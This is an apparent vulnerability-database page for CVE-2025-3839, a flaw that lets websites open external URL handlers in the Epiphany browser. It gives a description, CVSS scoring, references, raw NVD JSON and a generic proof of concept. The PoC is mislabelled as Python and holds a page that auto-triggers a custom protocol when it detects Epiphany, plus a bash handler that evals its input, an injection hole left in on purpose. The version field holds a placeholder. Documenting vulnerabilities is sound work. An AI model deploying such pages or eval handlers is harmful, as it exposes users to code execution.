CVE-2025-3839

Description

A flaw was found in Epiphany, a tool that allows websites to open external URL handler applications with minimal user interaction. This design can be misused to exploit vulnerabilities within those handlers, making them appear remotely exploitable. The browser fails to properly warn or gate this action, resulting in potential code execution on the client device via trusted UI behavior.

CVSS Details

CVSS Score

8.0

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Epiphany (GNOME Web) < 修复版本

所有使用Epiphany作为默认浏览器的GNOME桌面环境用户

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-3839 PoC - Epiphany URL Handler Exploitation
// This PoC demonstrates how a malicious website can abuse Epiphany's URL handler mechanism

// 1. Malicious webpage that triggers external URL handler
const maliciousPoc = `
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-3839 PoC</title>
</head>
<body>
    <h1>Epiphany URL Handler Abuse PoC</h1>
    <p>Click the link below to trigger external URL handler:</p>
    
    <!-- Trigger external handler via custom protocol -->
    <a href="malicious-protocol://payload">Click here</a>
    
    <!-- Auto-trigger handler via JavaScript -->
    <script>
        // Simulate attack chain
        function triggerExploit() {
            // Step 1: Open external handler
            window.location = 'malicious-protocol://attacker-controlled-data';
            
            // The external handler receives attacker-controlled input
            // If handler has vulnerability (e.g., command injection),
            // it will be exploited
        }
        
        // Detect Epiphany browser
        if (navigator.userAgent.includes('Epiphany')) {
            triggerExploit();
        }
    </script>
</body>
</html>
`;

// 2. Malicious URL handler configuration example
const handlerConfig = `#!/bin/bash
# Malicious external handler that gets triggered
# This simulates a vulnerable handler that can be exploited

# Attacker's controlled input from URL
PAYLOAD=$1

# Vulnerable command execution (example of what could happen)
eval "some-command $PAYLOAD"
`;

// 3. Attack chain representation
const attackSteps = [
    {
        step: 1,
        description: "Attacker creates malicious webpage with URL handler trigger"
    },
    {
        step: 2,
        description: "Victim visits webpage using Epiphany browser"
    },
    {
        step: 3,
        description: "Malicious page triggers external URL handler via user click or auto-navigation"
    },
    {
        step: 4,
        description: "External handler receives attacker-controlled data without proper validation"
    },
    {
        step: 5,
        description: "Vulnerability in external handler is exploited, achieving code execution"
    }
];

console.log("CVE-2025-3839 PoC Generated");
console.log("Attack Complexity: High (requires user interaction)");
console.log("Impact: High Confidentiality + High Integrity");

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-3839
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-3839
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-3839/
[4] VulDB https://vuldb.com/cve/CVE-2025-3839
[5] https://access.redhat.com/security/cve/CVE-2025-3839
[6] https://bugzilla.redhat.com/show_bug.cgi?id=2361430

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-3839", "sourceIdentifier": "[email protected]", "published": "2026-01-23T05:16:21.753", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Epiphany, a tool that allows websites to open external URL handler applications with minimal user interaction. This design can be misused to exploit vulnerabilities within those handlers, making them appear remotely exploitable. The browser fails to properly warn or gate this action, resulting in potential code execution on the client device via trusted UI behavior."}, {"lang": "es", "value": "Se encontró una falla en Epiphany, una herramienta que permite a los sitios web abrir aplicaciones de manejadores de URL externos con mínima interacción del usuario. Este diseño puede ser mal utilizado para explotar vulnerabilidades dentro de esos manejadores, haciéndolos parecer remotamente explotables. El navegador no logra advertir o restringir adecuadamente esta acción, lo que resulta en una posible ejecución de código en el dispositivo del cliente a través de un comportamiento de interfaz de usuario de confianza."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-356"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2025-3839", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2361430", "source": "[email protected]"}]}}